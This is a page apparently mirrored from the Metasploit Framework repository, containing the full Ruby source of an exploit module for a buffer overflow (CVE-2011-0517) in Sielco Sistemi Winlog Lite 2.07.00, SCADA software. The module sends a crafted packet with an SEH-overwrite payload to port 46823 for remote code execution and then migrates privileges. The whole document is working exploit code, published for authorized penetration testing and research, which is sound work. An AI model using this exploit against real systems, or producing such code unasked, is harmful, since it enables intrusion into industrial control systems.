CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/winlog_runtime.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Sielco Sistemi Winlog Buffer Overflow',
15
'Description' => %q{
16
This module exploits a buffer overflow in Sielco
17
Sistem Winlog <= 2.07.00. When sending a specially formatted
18
packet to the Runtime.exe service, an attacker may be able to
19
execute arbitrary code.
20
},
21
'Author' => [ 'Luigi Auriemma', 'MC' ],
22
'License' => MSF_LICENSE,
23
'References' =>
24
[
25
[ 'CVE', '2011-0517' ],
26
[ 'OSVDB', '70418'],
27
[ 'URL', 'http://aluigi.org/adv/winlog_1-adv.txt' ],
28
[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-017-02']
29
],
30
'Privileged' => false,
31
'DefaultOptions' =>
32
{
33
'EXITFUNC' => 'process',
34
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
35
},
36
'Payload' =>
37
{
38
'Space' => 450,
39
'BadChars' => "\x00\x20\x0a\x0d",
40
'StackAdjustment' => -3500,
41
},
42
'Platform' => 'win',
43
'Targets' =>
44
[
45
[ 'Winlog Lite 2.07.00', { 'Ret' => 0x011946de } ],
46
],
47
'DefaultTarget' => 0,
48
'DisclosureDate' => '2011-01-13'))
49
50
register_options([Opt::RPORT(46823)])
51
end
52
53
def exploit
54
55
connect
56
57
data = [0x02].pack('C') # opcode
58
data << [0x0101].pack('n')
59
data << rand_text_alpha_upper(588)
60
data << generate_seh_payload(target.ret)
61
62
print_status("Trying target #{target.name}...")
63
sock.put(data)
64
65
handler
66
disconnect
67
68
end
69
end
70
71